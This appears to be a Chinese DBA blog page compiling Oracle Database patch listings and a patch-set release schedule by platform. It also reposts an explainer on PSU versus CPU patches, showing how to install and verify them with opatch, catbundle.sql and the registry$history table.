Note:7117233.8 10.2.0.3 CRS Recommended Patch Bundle #3 Yes Patch:7117233

Data Guard

Document Description Rolling RAC Patch Download
Note:6909784.8 Recommended Merge Fix for bug 6128197 with Data Guard Logical No Patch:6909784
Note:6081556.8 10.2.0.3 Data Guard RMAN Recommended Patch Bundle #1 Yes Patch:6081556
Note:6081550.8 10.2.0.3 Data Guard Logical Recommended Patch Bundle #1 No Patch:6081550
Note:6081547.8 10.2.0.3 Data Guard Physical Recommended Patch Bundle #1 Yes Patch:6081547
Note:6048286.8 10.2.0.3 Data Guard Broker Recommended Patch #1 No Patch:6048286

EBusiness Suite R11i Certification

Document Description Rolling RAC Patch Download
Note:6166683.8 Z-Linux: ctxhx missing from 10.2.0.3 Yes Patch:6166683
Note:412271.1 Upgrade to 10.2.0.3 can fail with ORA-600 [22635] Yes Patch:5892355
Note:5871314.8 Pickler fix needed to allow some DB upgrade / downgrade to work Yes Patch:5871314
Note:5257698.8 9idata NLS files missing leading to file handle leak No Patch:5257698

EBusiness Suite R12 Certification

Document Description Rolling RAC Patch Download
Note:6319846.8 EBusiness Suite R12 Certification Recommended Patch Bundle Yes Patch:6319846
Note:5240469.8 Linux-X86 64bit: genoccish generates lots of errors No Patch:5240469

Miscellaneous Fixes

Document Description Rolling RAC Patch Download
Note:6875865.8 Database instrumentation for OCM Yes Patch:6875865
Note:6869828.8 Recommended Merge Fix of 6122097 and 5903829 Yes Patch:6869828
Note:471479.1 IOT corruption after upgrade from <= 9.2 to >= 10g Yes Patch:6646613
Note:6455161.8 Higher CPU / Higher “cache buffer chains” latch gets / Higher “consistent gets” after truncate/Rebuild No Patch:6455161
Note:453259.1 OERI[kcrfr_resize2] / cannot recover database No Patch:6128197
Note:453309.1 OERI[kcbo_link_q_1] / crash with fix for bug 5454831 installed Yes Patch:6017420
Note:5949701.8 Recommended Merge Fix of 5648872 and 5863277 Yes Patch:5949701
Note:455832.1 Client <= 9.2.0.7 / 10.1.0.4 can dump when running against higher level database No Patch:5933477
Note:5907779.8 Self deadlock hang on “cursor: pin S wait on X” (typically from DBMS_STATS) No Patch:5907779
Note:5896963.8 High LGWR CPU and longer “log file sync” with fix for bug 5065930 Yes Patch:5896963
Note:5765958.8 OERI[qcscpqbTxt] / OERI[qcsfbdnp:1] from ANSI query in PLSQL No Patch:5765958
Note:5728380.8 DML may spin under ktspffc searching for space in ASSM segment No Patch:5728380
Note:454464.1 Various dumps / instance crash possible Yes Patch:5605370
Note:5577046.8 ADD or DROP attribute causes UNION query to fail with ORA-1790 Yes Patch:5577046
Note:5514109.8 OERI [kql-hash-collision] / false ORA-955 No Patch:5514109
Note:5364143.8 Bind Peeking is not done upon query reload, Execution Plan changes Yes Patch:5364143
Note:5363584.8 Array insert into table can corrupt redo Yes Patch:5363584
Note:4899479.8 Undo/redo corruption if distributed transactions used No Patch:4899479

Oracle 数据库补丁发布时间表

当前数据库发布时间表

除非特别声明这里都是服务器版本。服务器版本总是包含一个原生相同字长的客户端(比如 64 位)。如果平台支持,那么它还会包含一个 32 位或 64 位的客户端。

点击标题上的版本号即可跳转到补丁集下载页面。

 

Platform 12.1.0.2 12.1.0.12 11.2.0.410 11.2.0.3 11.2.0.2 11.2.0.12 11.1.0.71 10.2.0.53 10.2.0.44 10.1.0.5
Linux x86 无计划 无计划 2013年8月28日 2011年9月23日 2010年9月13日 2009年9月1日 2008年9月18日 2010年4月30日 2008年2月22日 2006年1月30日
Linux x86-64 2014年2季度 2013年6月25日 2013年8月27日 2011年9月23日 2010年9月13日 2009年9月1日 2008年9月18日 2010年4月30日 2008年3月17日 2006年2月24日
Oracle Solaris SPARC (64-bit) 2014年2季度 2013年6月25日 2013年8月29日 2011年10月1日 2010年9月24日 2009年11月6日 2008年10月6日 2010年5月19日 2008年4月30日 2006年2月5日
Oracle Solaris x86-64 (64-bit) 2014年2季度 2013年6月25日 2013年8月29日 2011年10月1日 2010年9月24日 2009年11月25日 无计划 2010年5月19日 2008年11月13日 无计划
Microsoft Windows x64 (64-bit) 2014年2季度 2013年7月9日 2013年10月25日 2011年11月11日 2010年12月15日 2010年4月2日 2008年11月13日 2013年7月27日 2008年5月16日 无计划
HP-UX Itanium9 2014年2季度 2014年1月9日 2013年10月10日 2011年10月29日 2010年10月19日 2009年12月22日 2008年10月6日 2010年6月3日 2008年4月30日 2006年6月7日
HP-UX PA-RISC (64-bit)
See footnote 8 below
平台不再支持 8 平台不再支持 8 2014年1月2日 2012年2月16日 2011年3月15日 2010年5月20日 2008年11月11日 2010年12月15日 2008年6月2日 2006年2月5日
IBM AIX on POWER Systems 2014年2季度 2014年1月9日 2013年10月10日 2011年10月29日 2010年10月19日 2009年12月12日 2008年10月6日 2010年6月3日 2008年5月15日 2006年2月5日
IBM Linux on System z 2014年2季度 2014年1月9日 2014年1月9日 2011年12月1日 2011年3月30日 无计划 无计划 2011年1月3日 2008年12月16日 2006年8月26日
Microsoft Windows (32-bit) 无计划 无计划 2013年10月25日 2011年11月11日 2010年12月15日 2010年4月5日 2008年10月10日 2010年7月19日 2008年3月17日 2006年2月13日
Instant Client Releases
Apple Mac OS X (Intel)  已计划  无计划 2014年4月20日
只提供 Instant Client下载>
2013年1月31日
只提供 Instant Client
无计划 无计划 无计划 日期未定 2010年4月10日
只提供 Single Instance
无计划
IBM Linux on POWER 已计划
Older Releases

Apple Mac OS X (PowerPC)
平台不再支持
2007年1月8日
HP OpenVMS Alpha
平台不再支持
2012年10月31日 2008年12月15日 2008年2月15日
HP OpenVMS Itanium
平台不再支持 (详见 Doc ID 1307745.1)
2012年10月31日 2008年12月15日 无计划
HP Tru64 UNIX
平台不再支持
2011年4月21日 2008年2月20日 2006年10月18日
IBM Linux on POWER
平台不再支持 (详见 Doc ID 1310584.1)
2011年3月17日 2009年1月9日 无计划
IBM z/OS on System z
平台不再支持 (详见 Doc ID 461234.1)
2012年10月26日 无计划 2006年3月6日
Linux Itanium9
平台不再支持(详见 Doc ID 1130325.1)
2011年3月17日 2008年9月24日 2006年4月30日
Microsoft Windows Itanium (64-bit) 9
平台不再支持 (详见 Doc ID 1307745.1)
2011年5月12日 2009年2月2日 2006年1月30日
Oracle Solaris x86 (32-bit)
平台不再支持
2008年11月14日
这个平台的最终版
2006年6月18日
Platform 12.1.0.12 11.2.0.410 11.2.0.3 11.2.0.2 11.2.0.12 11.1.0.71 10.2.0.53 10.2.0.44 10.1.0.5

Legend:

Sched TBA = 日期未定

DD-MMM-YYYY: 在 My Oracle Support/MetaLink 上显示的补丁集可以下载的日期。

1H or 2H CYyyyy: 日历年上半年(6个月)或下半年中的某个日期。比如 1H CY2009 的意思是日历年2009上半年的某个时间。

Qn CYyyyy: 日历年第 n 个季度(3个月)中的某个日期. 比如 Q2 CY 2009 的意思是日历年2009年第2季度,也就是4月到6月间的某个时间。

Unsupported platform – 以后不会再对这个平台发布新的数据库版本。

Patching for previous release ends: 看下面的解释.

Oracle Database PSU与CPU的区别

最近不少人问我关于CPU以及PSU的区别问题,我把这个问题的解释发到这里来,具体如下:

转载自:http://www.cnblogs.com/ebs-blog/archive/2011/07/28/2167232.html

1. 什么是PSU/CPU?
CPU: Critical Patch Update
Oracle对于其产品每个季度发行一次的安全补丁包,通常是为了修复产品中的安全隐患。

PSU: Patch Set Updates
Oracle对于其产品每个季度发行一次的补丁包,包含了bug的修复。Oracle选取被用户下载数量多的,并且被验证过具有较低风险的补丁放入到每个季度的PSU中。在每个PSU中不但包含Bug的修复而且还包含了最新的CPU。

2. 如何查找最新的PSU?
每个数据库版本都有自己的PSU,PSU版本号体现在数据库版本的最后一位,比如最新的10.2.0.5的PSU是10.2.0.5.3,而11.2.0.2的最新PSU则是11.2.0.2.2。
MOS站点中Oracle Recommended Patches — Oracle Database [ID 756671.1] 文档中查到各个产品版本最新的PSU。
如果你记不住这个文档号,那么在MOS中以“PSU”为关键字搜索,通常这个文档会显示在搜索结果的最前面。

注意:必须购买了Oracle基本服务获取了CSI号以后才有权限登陆MOS站点。

3. 如何正确安装PSU?
每个PSU安装包中都包含一个README.html文档,其中描述了如何安装该PSU,有些PSU是可以直接安装的,而有些PSU则必须要求安装了上一 个版本的PSU之后才能继续安装。比如对于10.2.0.4版本的数据库来说,PSU 10.2.0.4.4可以直接安装在最原始的10.2.0.4.0版本中,而最新的PSU 10.2.0.4.8则必须要求先安装10.2.0.4.4。这些信息在README.html中都可以找到,所以请仔细阅读该文档。

通常安装PSU是比较简单的,步骤如下:
1) 安装PSU需要使用到opatch,在README.html中有描述该PSU需要的最低版本opatch,如果当前opatch版本过低,则需要先下载 Patch 6880880,该Patch中包含最新的opatch,只需要解压覆盖原先的$ORACLE_HOME/OPatch目录即可。

查看当前的opatch版本,可以使用opatch version命令。

$ opatch version

Invoking OPatch 10.2.0.5.2

OPatch Version: 10.2.0.5.2

OPatch succeeded.

2)安装PSU,请仔细阅读README.html,确认安装命令,通常是简单的opatch apply。

$opatch apply

3)更新数据库,将修改过的SQL文件应用到数据库中,很多DBA在执行完上述安装命令以后就不再进行这一步,那么实际上PSU是没有完整安装的。

cd $ORACLE_HOME/rdbms/admin

sqlplus / as sysdba

SQL> STARTUP

SQL> @catbundle.sql psu apply

SQL> QUIT

注意:如果PSU是overlay PSU,比如10.2.0.4.8,则需要执行@catbundle.sql opsu apply,同样这些在README.html中都有详细描述。

4)重新编译CPU相关视图。该步骤在一个数据库上永远只需要执行一次,是为了完成在2008年1月份第一次发布CPU补丁时的后续工作,如果在安 装以前的PSU或者CPU时执行过这个步骤那么就可以无需再次执行,另外,即使不执行该步骤,数据库也是正常运行的,只不过意味着2008年1月份的 CPU补丁没有正常结束安装。

cd $ORACLE_HOME/cpu/view_recompile

sqlplus / as sysdba

SQL> @recompile_precheck_jan2008cpu.sql

SQL> SHUTDOWN IMMEDIATE

SQL> STARTUP UPGRADE

SQL> @view_recompile_jan2008cpu.sql

SQL> SHUTDOWN;

SQL> STARTUP;

SQL> QUIT

注意:该步骤由于需要重新编译大量视图,因此要启动数据库到upgrade状态才可以完成。也就是将引起停机时间。

4. 如何确认当前数据库已经安装了什么PSU/CPU?
无论是从V$VERSION或者DBA_REGISTRY或者PRODUCT_COMPONENT_VERSION视图中,都无法查找到PSU的信息,这些视图中始终显示的是最原始的版本,比如10.2.0.4.0。

最常用的方法是使用opatch命令。在打完最新的PSU 10.2.0.4.8的10.2.0.4数据库中会有以下显示。

$ opatch lsinventory -bugs_fixed | grep -i ‘DATABASE PSU’

9654991 11724977 Wed May 25 16:37:17 CST 2011 DATABASE PSU 10.2.0.4.5 (REQUIRES PRE-REQUISITE

9952234 11724977 Wed May 25 16:37:17 CST 2011 DATABASE PSU 10.2.0.4.6 (REQUIRES PRE-REQUISITE

10248636 11724977 Wed May 25 16:37:17 CST 2011 DATABASE PSU 10.2.0.4.7 (REQUIRES PRE-REQUISITE

11724977 11724977 Wed May 25 16:37:17 CST 2011 DATABASE PSU 10.2.0.4.8 (REQUIRES PRE-REQUISITE

8576156 9352164 Wed May 25 15:10:48 CST 2011 DATABASE PSU 10.2.0.4.1 (INCLUDES CPUJUL2009)

8833280 9352164 Wed May 25 15:10:48 CST 2011 DATABASE PSU 10.2.0.4.2 (INCLUDES CPUOCT2009)

9119284 9352164 Wed May 25 15:10:48 CST 2011 DATABASE PSU 10.2.0.4.3 (INCLUDES CPUJAN2010)

9352164 9352164 Wed May 25 15:10:48 CST 2011 DATABASE PSU 10.2.0.4.4 (INCLUDES CPUAPR2010)

另外的方法是查看registry$history表。

SQL> select action,comments from registry$history;

ACTION                       COMMENTS

——————————-          ——————–

APPLY                          PSU 10.2.0.4.4

APPLY                          PSU 10.2.0.4.8

CPU                               view recompilation

注意:该表的内容是在上述安装PSU步骤的第三步中运行catbundle.sql才会插入的,因此如果该步骤忘记执行,则此表中无记录。因此我们在作数据库健康检查的时候不但要用opatch检查当前数据库最新的PSU补丁,也要检查registry$history表,以确认其它DBA是否正确地完成了PSU的安装。

如果多个PSU的安装都忘记了执行上述第三步,可以通过以下方法依次补作。

$ ls -l $ORACLE_HOME/psu

total 0

drwxrwxrwx 2 oracle dba 96 Oct 16 2010 10.2.0.4.4

drwxrwxrwx 2 oracle dba 96 Oct 16 2010 10.2.0.4.5

$sqlplus / as sysdba

SQL> @?/psu/10.2.0.4.4/catpsu.sql

SQL> @?/psu/10.2.0.4.5/catopsu.sql

更多关于CPU的信息,可以参看:Maclean的了解Oracle Critical Patch Update

5. 参考文档。
Oracle Recommended Patches — Oracle Database [ID 756671.1]
Patch Set Updates for Oracle Products [ID 854428.1]
Introduction To Oracle Database catbundle.sql [ID 605795.1]
How to confirm that a Critical Patch Update (CPU) has been installed in Linux / UNIX [ID 821263.1]